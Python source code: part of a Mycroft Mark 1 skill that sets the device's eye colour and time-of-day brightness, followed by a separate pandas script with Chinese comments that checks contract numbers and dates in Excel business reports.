        LOG.info('Hex format is incorrect')
        return None

def fuzzy_match_color(color_a, color_dict):
    """ fuzzy match for colors

        Args:
            color_a (str): color as string
            color_dict (dict): dict with colors
        Returns:
            color: color from color_dict
    """
    highest_ratio = float("-inf")
    _color = None
    for color, value in color_dict.iteritems():
        s = SequenceMatcher(None, color_a, color)
        if s.ratio() > highest_ratio:
            highest_ratio = s.ratio()
            _color = color
    if highest_ratio > 0.8:
        return _color
    else:
        return None

class Mark1(MycroftSkill):
    def __init__(self):
        super(Mark1, self).__init__("Mark1")
        self.should_converse = False
        self._settings_loaded = False
        self.converse_context = None

    def initialize(self):
        # Initialize...
        if self.settings.get('auto_brightness') is None:
            self.settings['auto_brightness'] = False
        if self.settings.get('eye color') is None:
            self.settings['eye color'] = "default"

        self.brightness_dict = self.translate_namedvalues('brightness.levels')
        self.color_dict = self.translate_namedvalues('colors')

        # Handle changing the eye color once Mark 1 is ready to go
        # (Part of the statup sequence)
        try:
            self.add_event('mycroft.internet.connected',
                           self.handle_internet_connected)
        except:
            pass

        # TODO: Add MycroftSkill.register_entity_list() and use the
        #  self.color_dict.keys() instead of duplicating data
        self.register_entity_file('color.entity')

        if connected():
            # Connected at startup: setting eye color
            self.enclosure.mouth_reset()
            self.set_eye_color(self.settings['eye color'], initing=True)

    def handle_internet_connected(self, message):
        # System came online later after booting
        self.enclosure.mouth_reset()
        self.set_eye_color(self.settings['eye color'], speak=False)

    def set_eye_color(self, color=None, rgb=None, speak=True, initing=False):
        """ function to set eye color

            Args:
                custom (bool): user inputed rgb
                speak (bool): to have success speak on change
        """
        if color is not None:
            color_rgb = hex_to_rgb(self.color_dict.get(color, None))
            if color_rgb is not None:
                (r, g, b) = color_rgb
                self.enclosure.eyes_color(r, g, b)
        elif rgb is not None:
                (r, g, b) = rgb
                self.enclosure.eyes_color(r, g, b)
        try:
            self._current_color = (r, g, b)
            if speak and not initing:
                self.speak_dialog('set.color.success')
        except:
            self.log.debug('Bad color code: '+str(color))
            if speak and not initing:
                self.speak_dialog('error.set.color')
            if initing:
                self.enclosure.eyes_color(34, 167, 240)  # mycroft blue

    @intent_file_handler('custom.eye.color.intent')
    def handle_custom_eye_color(self, message):
        # Conversational interaction to set a custom eye color

        def is_byte(utt):
            try:
                return 0 <= int(utt) <= 255
            except:
                return False

        self.speak_dialog('set.custom.color')
        wait_while_speaking()
        r = self.get_response('get.r.value', validator=is_byte,
                              on_fail="error.rgbvalue", num_retries=2)
        if not r:
            return  # cancelled

        g = self.get_response('get.g.value', validator=is_byte,
                              on_fail="error.rgbvalue", num_retries=2)
        if not g:
            return  # cancelled

        b = self.get_response('get.b.value', validator=is_byte,
                              on_fail="error.rgbvalue", num_retries=2)
        if not b:
            return  # cancelled

        custom_rgb = [r, g, b]
        self.set_eye_color(rgb=custom_rgb)
        self.settings['eye color'] = custom_rgb

    def fuzzy_set_eye_color(self, color):
        """ set's the eye color with fuzzy matching """
        # TODO:18.02: normalize() should automatically get current intent lang
        match = fuzzy_match_color(normalize(color), self.color_dict)
        self.log.debug("Search color: "+color+"    Match color: "+match)
        if match is not None:
            self.set_eye_color(color=match)
            self.settings['eye color'] = match
        else:
            self.speak_dialog('color.not.exist')

    @intent_file_handler('eye.color.intent')
    def handle_eye_color(self, message):
        """ Callback to set eye color from list

            Args:
                message (dict): messagebus message from intent parser
        """
        color_string = (message.data.get('color', None) or
                        self.get_response('color.need'))
        if color_string:
            self.fuzzy_set_eye_color(color_string)

    def is_rgb_format_correct(self, rgb):
        """ checks for correct rgb format and value

            Args:
                rgb (tuple): tuple with integer values

            return:
                (bool): for correct rgb value
        """
        (r, g, b) = rgb
        if 0 <= r <= 255 and 0 <= g <= 255 and 0 <= b <= 255:
            return True
        else:
            return False

    def parse_to_rgb(self, color):
        """ parse the color and returns rgb. color can be
            Hex, RGB, or color from color_dict

            Args:
                color (str): RGB, Hex, or color from color_dict

            returns:
                (r, g, b) (tuple): rgb from 0 - 255
        """
        if not color:
            return None

        # color exist in dict
        color = color.lower()
        if color in self.color_dict:
            return hex_to_rgb(self.color_dict[color])

        # color is rgb
        try:
            (r, g, b) = parse_tuple(color)
            return (r, g, b)
        except:
            pass

        # color is hex
        try:
            if '#' in color:
                hex = color.replace('#', "")
            if len(hex) != 6:
                raise
            (r, g, b) = \
                int(hex[0:2], 16), int(hex[2:4], 16), int(hex[4:6], 16)
            return (r, g, b)
        except:
            pass

        # color is None of the above
        LOG.info('Color failed parsing: '+str(color))
        return None

    @intent_file_handler('get.color.web.intent')
    def handle_web_settings(self):
        """ Callback to set eye color to web settings

            Args:
                message (dict): messagebus message from intent parser
        """
        self.settings.update_remote()
        _color = self.settings.get('eye color', "")
        if not _color:
            self.speak_dialog('no.web.setting')
            return

        # Try to parse the value entered there
        rgb = self.parse_to_rgb(_color)
        if rgb is not None:
            if self.is_rgb_format_correct(rgb):
                self.set_eye_color(rgb=rgb)
            else:
                self.speak_dialog('error.format')
        else:
            self.speak_dialog('error.format')

    def percent_to_level(self, percent):
        """ converts the brigtness value from percentage to
             a value arduino can read

            Args:
                percent (int): interger value from 0 to 100

            return:
                (int): value form 0 to 30
        """
        return int(float(percent)/float(100)*30)

    def parse_brightness(self, brightness):
        """ parse text for brightness percentage

            Args:
                brightness (str): string containing brightness level

            return:
                (int): brightness as percentage (0-100)
        """

        try:
            # Handle "full", etc.
            name = normalize(brightness)
            if name in self.brightness_dict:
                return self.brightness_dict[name]

            if '%' in brightness:
                brightness = brightness.replace("%", "").strip()
                return int(brightness)
            if 'percent' in brightness:
                brightness = brightness.replace("percent", "").strip()
                return int(brightness)

            i = int(brightness)
            if i < 0 or i > 100:
                return None

            if i < 30:
                # Assmume plain 0-30 is "level"
                return int((i*100.0)/30.0)

            # Assume plain 31-100 is "percentage"
            return i
        except:
            return None  # failed in an int() conversion

    def set_eye_brightness(self, level, speak=True):
        """ Actually change hardware eye brightness

            Args:
                level (int): 0-30, brightness level
                speak (bool): when True, speak a confirmation
        """
        self.enclosure.eyes_brightness(level)
        if speak is True:
            percent = int(float(level)*float(100)/float(30))
            self.speak_dialog(
                'brightness.set', data={'val': str(percent)+'%'})

    def _set_brightness(self, brightness):
        # brightness can be a number or word like "full", "half"
        percent = self.parse_brightness(brightness)
        if percent is None:
            self.speak_dialog('brightness.not.found.final')
        elif int(percent) is -1:
            self.handle_auto_brightness(None)
        else:
            self.auto_brightness = False
            self.set_eye_brightness(self.percent_to_level(percent))

    @intent_file_handler('brightness.intent')
    def handle_brightness(self, message):
        """ Intent Callback to set custom eye colors in rgb

            Args:
                message (dict): messagebus message from intent parser
        """
        brightness = (message.data.get('brightness', None) or
                      self.get_response('brightness.not.found'))
        if brightness:
            self._set_brightness(brightness)

    def _get_auto_time(self):
        """ get dawn, sunrise, noon, sunset, and dusk time

            returns:
                times (dict): dict with associated (datetime, level)
        """
        tz = self.location['timezone']['code']
        lat = self.location['coordinate']['latitude']
        lon = self.location['coordinate']['longitude']
        ast_loc = astral.Location()
        ast_loc.timezone = tz
        ast_loc.lattitude = lat
        ast_loc.longitude = lon

        user_set_tz = \
            timezone(tz).localize(datetime.now()).strftime('%Z')
        device_tz = time.tzname

        if user_set_tz in device_tz:
            sunrise = ast_loc.sun()['sunrise']
            noon = ast_loc.sun()['noon']
            sunset = ast_loc.sun()['sunset']
        else:
            secs = int(self.location['timezone']['offset']) / -1000
            sunrise = arrow.get(
                ast_loc.sun()['sunrise']).shift(
                    seconds=secs).replace(tzinfo='UTC').datetime
            noon = arrow.get(
                ast_loc.sun()['noon']).shift(
                    seconds=secs).replace(tzinfo='UTC').datetime
            sunset = arrow.get(
                ast_loc.sun()['sunset']).shift(
                    seconds=secs).replace(tzinfo='UTC').datetime

        return {
            'Sunrise': (sunrise, 20),  # high
            'Noon': (noon, 30),        # full
            'Sunset': (sunset, 5)      # dim
        }

    def schedule_brightness(self, time_of_day, pair):
        """ schedule auto brightness with the event scheduler

            Args:
                time_of_day (str): Sunrise, Noon, Sunset
                pair (tuple): (datetime, brightness)
        """
        d_time = pair[0]
        brightness = pair[1]
        now = arrow.now()
        arw_d_time = arrow.get(d_time)
        data = (time_of_day, brightness)
        if now.timestamp > arw_d_time.timestamp:
            d_time = arrow.get(d_time).shift(hours=+24)
            self.schedule_event(self._handle_eye_brightness_event, d_time,
                                data=data, name=time_of_day)
        else:
            self.schedule_event(self._handle_eye_brightness_event, d_time,
                                data=data, name=time_of_day)

    # TODO: this is currently set by voice.
    # allow setting from faceplate and web ui
    @intent_file_handler('brightness.auto.intent')
    def handle_auto_brightness(self, message):
        """ brightness varies depending on time of day

            Args:
                message (dict): messagebus message from intent parser
        """
        self.auto_brightness = True
        auto_time = self._get_auto_time()
        nearest_time_to_now = (float('inf'), None, None)
        for time_of_day, pair in auto_time.iteritems():
            self.schedule_brightness(time_of_day, pair)
            now = arrow.now().timestamp
            t = arrow.get(pair[0]).timestamp
            if abs(now - t) < nearest_time_to_now[0]:
                nearest_time_to_now = (abs(now - t), pair[1], time_of_day)
        LOG.info(nearest_time_to_now)
        self.set_eye_brightness(nearest_time_to_now[1], speak=False)

        # SSP: I'm disabling this for now.  I don't think we
        # should announce this every day, it'll get tedious.
        #
        # tod = nearest_time_to_now[2]
        # if tod == 'Sunrise':
        #     self.speak_dialog('auto.sunrise')
        # elif tod == 'Sunset':
        #     self.speak_dialog('auto.sunset')
        # elif tod == 'Noon':
        #     self.speak_dialog('auto.noon')

    def _handle_eye_brightness_event(self, message):
        """ wrapper for setting eye brightness from
            eventscheduler

            Args:
                message (dict): messagebus message
        """
        if self.auto_brightness is True:
            time_of_day = message.data[0]
            level = message.data[1]
            self.cancel_scheduled_event(time_of_day)
            self.set_eye_brightness(level, speak=False)
            pair = self._get_auto_time()[time_of_day]
            self.schedule_brightness(time_of_day, pair)

def create_skill():
    return Mark1()


import pandas as pd
import numpy as np
import re
from math import isnan
import datetime
import sys
from pandas读取excel import read_exl
from datetime import datetime
# import jieba
# from fuzzywuzzy import fuzz
# from fuzzywuzzy import process

class Analyze():
    '''
    本类用于对df数据进行分析，找出有问题的数据，此类使用时尽量在cleaning_data处理过数据之后
    日志：
        一、6.21日创立，流程与操作模式没想好
    功能：
        1、对所有日期进行分析，找出超过当前日期之前六个月与之后六个月的
        2、对日期与合同进行对比分析，找到如交货时间低于合同时间
    使用方法：
        1、导入: from analyze_data import data_analyze
        2、创建传入的字典：input_dic = {}
        3、传入字典的工作表名字或查找参数（见cleaning_data包）：input_dic['sheet_name'] =
        4、传入需要分析工作表的路径：input_dic['path'] =
        5、类实例化：sl =data_analyze.Analyze(input_dic)
        6、对合同和日期进行分析（需要对一个时间列进行处理，传入时间、日期列的名字：sl.analyze_date('实际交货时间')
        7、对结果进行输出：df_jg = sl.output()
    '''
    def __init__(self, input_dq_path, input_wq_path=None):
        self.input_dq_path = input_dq_path
        self.input_wq_path = input_wq_path
        self.input_dq_sl = read_exl.Read_exl(self.input_dq_path['path'], self.input_dq_path['sheet_name'])
        self.input_dq_df = self.input_dq_sl.clear_sj()
        if self.input_wq_path != None:
            self.input_wq_sl = read_exl.Read_exl(self.input_wq_path['path'], self.input_wq_path['sheet_name'])
            self.input_wq_df = self.input_wq_sl.clear_sj()

    def column_name(self):
        '''
        此函数用于分析当期df的列名，找出合同编号列，与日期类型的列，以字典输出
        流程：
            1、取出各列名称
            2、用正则表达式搜索符合合同号、日期的列名称、
            3、将搜索结果字典输出，分两个key:
                '合同号':存入搜索到的合同号，注意目前一个表中只有一个合同号，所以此处存入的是字符串，如果出现多个合同号列，会报错
                '日期':存入搜索到的日期、时间列，注意：因表中经常不止一个日期列，所以此处存入的是列表，哪怕只有一个也是列表
        '''
        self.date_list = []
        self.output_dic = {}
        self.ht_dates = [r'时间',u'日期']
        self.ht_code = u'合同[编]?号'
        self.column_lists = self.input_dq_df.columns
        for self.column_list in self.column_lists:
            if re.search(self.ht_code, self.column_list) != None:
                self.output_dic['合同号'] = self.column_list
            for self.ht_date in self.ht_dates:
                if re.search(self.ht_date, self.column_list) != None:
                    self.date_list.append(self.column_list)
        self.output_dic['日期'] = self.date_list
        return self.output_dic # 6月26日已通过

    def analyze_date(self, col_name=None):
        '''
        对df的合同与日期字段进行数据分析，在原df中创建5个新列，将分析结果分类存入各列中，将存在以下情况的df进行重点提示
        要进行提示的df，分为以下几种情况:
            1、日期超出当前日期前、后六个月的，存入“日期分析结果”一列
            2、合同分析出来有错误的，存入“合同分析结果”一列
            3、df中日期超过当前时间的，存入“超过当前日期”一列
            4、日期在合同号提取出来的日期前面的，存入：在合同签订日期之前  一列
        '''

        self.output_df = self.input_dq_df
        self.output_dic = self.column_name()
        self.output_df['合同分析结果'] = ''
        self.output_df['日期分析结果'] = ''
        self.output_df['超过当前日期'] = ''
        self.output_df['在合同签订日期之前'] = ''
        self.output_df['非日期格式'] = ''
        if col_name != None and col_name in self.output_dic['日期']:
            self.output_dic['日期'] = [col_name]
        self.df_index = range(0,self.output_df.shape[0])
        self.input_dq_df.index =self.df_index
        for self.row in self.df_index:
            self.ht =  self.output_df.loc[self.row,self.output_dic['合同号']]
            self.ht_zd = self.contract_number(self.output_dic['合同号'], self.ht)
            if self.ht_zd['ht_error'] != '':
                self.output_df.loc[self.row,'合同分析结果'] = self.ht_zd['ht_error']
            self.ht_zd['date_error'] = ''
            self.ht_zd['not_date'] = ''
            self.ht_zd['beyond_time'] = ''
            self.ht_zd['beyond_ht_time'] = ''
            for self.date_num in self.output_dic['日期']:
                self.ht_zd['date_content'] = self.output_df.loc[self.row,self.date_num]
                self.ht_zd = self.analyze_date_child(self.date_num, self.ht_zd)
            if self.ht_zd['date_error'] != '':
                self.output_df.loc[self.row,'日期分析结果'] = self.ht_zd['date_error']
            if self.ht_zd['beyond_time'] != '':
                self.output_df.loc[self.row,'超过当前日期'] = self.ht_zd['beyond_time']
            if self.ht_zd['beyond_ht_time'] != '':
                self.output_df.loc[self.row,'在合同签订日期之前'] = self.ht_zd['beyond_ht_time']
            if self.ht_zd['not_date'] != '':
                self.output_df.loc[self.row,'非日期格式'] = self.ht_zd['not_date']
            # print(self.ht_zd)

    def analyze_date_child(self,column_name, date_dic):
        '''
        用于日期分析的子函数
        '''
        self.column_name = column_name
        self.date_dic = date_dic
        self.now = datetime.today()
        self.gz1 =r'^20[0-9]{2}[^0-9]{1}[0-9]?[0-9][^0-9]{1}[0-9]?[0-9] [0-9]{1,2}:[0-9]{1,2}:[0-9]{1,2}$'
        self.gz2 =r'([2]?[0]?[0-9]{2})[^0-9]{1}([0-9]?[0-9])[^0-9]{1}([0-9]?[0-9])'
        if isinstance(self.date_dic['date_content'],str):
            if re.search(self.gz1, self.date_dic['date_content']) != None:
                self.dtime = datetime.strptime(self.date_dic['date_content'], '%Y-%m-%d %H:%M:%S')
            elif re.search(self.gz2, self.date_dic['date_content']) != None:
                self.dtimes = re.findall(self.gz2, self.date_dic['date_content'])
                if len(self.dtimes) == 1:
                    self.dtime = datetime.strptime('-'.join(self.dtimes[0]), '%Y-%m-%d')
                else:
                    self.dtime = None
            else:
                self.dtime = None
        elif self.date_dic['date_content'] == '' or str(self.date_dic['date_content']) == 'nan':
            self.dtime = None
        else:
            self.dtime = self.date_dic['date_content']
        # 上面的代码用于提取self.
        if self.dtime != None:
            try:
                self.date_cy = (self.dtime - self.now).days
                if abs(self.date_cy/30) > 6:
                    self.date_dic['date_error'] = '列 "%s" 中数据 "%s" 超过当前时间有六个月！' % (self.column_name, self.date_dic['date_content']) + "\n" + self.date_dic['date_error']
                if self.date_cy < 0:
                    self.date_dic['beyond_time'] = '列 "%s" 中数据 "%s" 日期超过当前日期！' % (self.column_name, self.date_dic['date_content']) + "\n" + self.date_dic['beyond_time']
                if (datetime.strptime(date_dic['ht_date'], '%Y-%m') - self.dtime).days > 0:
                    self.date_dic['beyond_ht_time'] = '列 "%s" 中数据 "%s" 在合同时间之前！' % (self.column_name, self.date_dic['date_content']) + "\n" + self.date_dic['beyond_ht_time']
            except:
                print('%s 出错！' % self.date_dic['date_content'])
                # self.date_dic = {}
        else:
            self.date_dic['not_date'] = '列 "%s" 中数据 "%s" 不是日期内容！' % (self.column_name, self.date_dic['date_content']) + "\n" + self.date_dic['not_date']
        # print(self.date_dic)
        return self.date_dic

    def contract_number(self,column_name, text):
        '''
        2.11
        用于判断合同号是否合法，处理流程为：
            一、判断合同号的格式是否与公司合同编号规范一致，
            二、如果上面通过，拆分合同号，进行判断：
                1、最前面年份是当年的，后面月份不能大于当前月
                2、最前面年份是去年的，对距今六个月前的合同显示警告，对12月前的合同直接报错
                3、合同生成月份超过当前月份的直接报错
            三、输出的如果是正常的时间范围内，输出合同编号时间的字符串，反之输出警告信息
            '''
        self.text = text
        self.column_name = column_name
        self.ht_dic = {}
        self.ht_dic['ht_error'] = ''
        self.ht_ywy = [
            'JM'
            ,'JL'
            ,'JZ'
            ,'JD'
            ,'jm'
            ,'jl'
            ,'jz'
            ,'jd'
        ]
        if len(text) == 8:
            self.text = text
            self.year = self.text[0:2]
            self.logo = self.text[2:4]
            self.month = self.text[4:6]
            self.code = self.text[6:8]
            if self.logo not in self.ht_ywy:
                self.ht_dic['ht_error'] = '列 "%s" 中数据列3、4位 "%s" 不符合合同规则！' % (self.column_name, self.logo) + "\n" + self.ht_dic['ht_error']
            if re.search(r'\d{2}', self.code) == None:
                self.ht_dic['ht_error'] = '列 "%s" 中数据列7，8位"%s" 编号代号不是数字！' % (self.column_name, self.code) + "\n" + self.ht_dic['ht_error']

            if re.search(r'\d{2}', self.year) == None:
                self.ht_dic['ht_error'] = '列 "%s" 中数据列1、2位 "%s" 年份代号不是数字！' % (self.column_name, self.year) + "\n" + self.ht_dic['ht_error']
            elif re.search(r'\d{2}', self.month) == None:
                self.ht_dic['ht_error'] = '列 "%s" 中数据列5，6位 "%s" 月份代号不是数字！' % (self.column_name, self.month) + "\n" + self.ht_dic['ht_error']
            else:
                self.today = datetime.strptime(datetime.today().strftime('%Y-%m'), '%Y-%m')
                # print(datetime.strptime('20' + self.year + '-' + self.month, '%Y-%m'))
                self.ht_date = (self.today - datetime.strptime('20' + self.year + '-' + self.month, '%Y-%m')).days
                if abs(self.ht_date/30) > 6:
                    self.ht_dic['ht_error'] = '列 "%s" 中数据 "%s" 超过当前时间有六个月！' % (self.column_name, self.text) + "\n" + self.ht_dic['ht_error']
                elif self.ht_date < 0:
                    self.ht_dic['ht_error'] = '列 "%s" 中数据 "%s" 合同生成月份超过当前月份！' % (self.column_name, self.text) + "\n" + self.ht_dic['ht_error']
                else:
                    pass
            self.ht_dic['ht_date'] = '20' + self.year + '-' + self.month
        else:
            self.ht_dic['ht_error'] = '列 "%s" 中数据 "%s" 不是“ 8 ”位！' % (self.column_name, self.text) + "\n" + self.ht_dic['ht_error']
        # print(self.ht_dic)
        return self.ht_dic # 7月3日初步完成

    def output(self,output_mode=None):
        '''
        此函数为负责输出的函数，输出的是一个字典，由相应的键与df组成
        流程：对output_df进行处理，

        '''
        self.output_dic = {}
        self.column_lists = [
            '合同分析结果',
            '日期分析结果',
            '超过当前日期',
            '在合同签订日期之前',
            '非日期格式'
            ]
        if output_mode == None:
            for self.column_list in self.column_lists:
                self.del_col = []
                self.del_col = self.column_lists.copy() #两个列表之间直接用等号为浅拷贝，对一个列表修改，另一个也要受影响，如果要去除这重影响用深拷贝
                self.del_col.remove(self.column_list)
                self.result_df = self.output_df.drop(self.del_col,axis=1)
                self.result_df.dropna(subset=[self.column_list],inplace=True)
                self.result_df = self.result_df[self.result_df[self.column_list] != '']
                self.result_df = self.result_df.set_index(self.column_list)
                self.output_dic[self.column_list] = self.result_df
            return self.output_dic
        else:
            return self.output_df

    def summary_output(self):
        '''
        汇总输出函数，准备将column_name函数生成的日期列的列表，遍历后以每个日期列做为字典key，
        而每个对应的value下又是对应的分析结果字典，如output函数输出的字典
        '''
        self.col_name_dic = self.column_name()

def main(input_dic):
    sl = Analyze(input_dic)
    #流程测试
    sl.analyze_date('合同约定交货时间') #'实际交货时间'
    df_jg = sl.output()
    df_jg.to_excel(r'../../syncthing_tb/test_file/data_analyze_output.xlsx')
#流程测试结束

    # 单项测试
    result = sl.column_name() #通过
    # sl.contract_number('合同号', '19fs0802')
    # sl.analyze_date_child('生成时间', {'date_content':'2019.06.07重型振动筛到','ht_date':'2019-07-03','beyond_time':'','date_error':'','beyond_ht_time':''})
    # ；2018.06.11棒条给料机到；201706.23颚破机到现场'
    #单项测试结束

if __name__ == "__main__":
    input_dic = {}
    input_dic['sheet_name'] = '样表'  #["first_row", r'.*业务运行.*']
    input_dic['path'] = r'D:\OneDrive\袁辉\各种报表格\每周报表\业务运行表\生成的每周报表\2019-09-19业务运行表.xlsx'# r'../../syncthing_tb/test_file/data_analyze_file.xlsx'
    main(input_dic)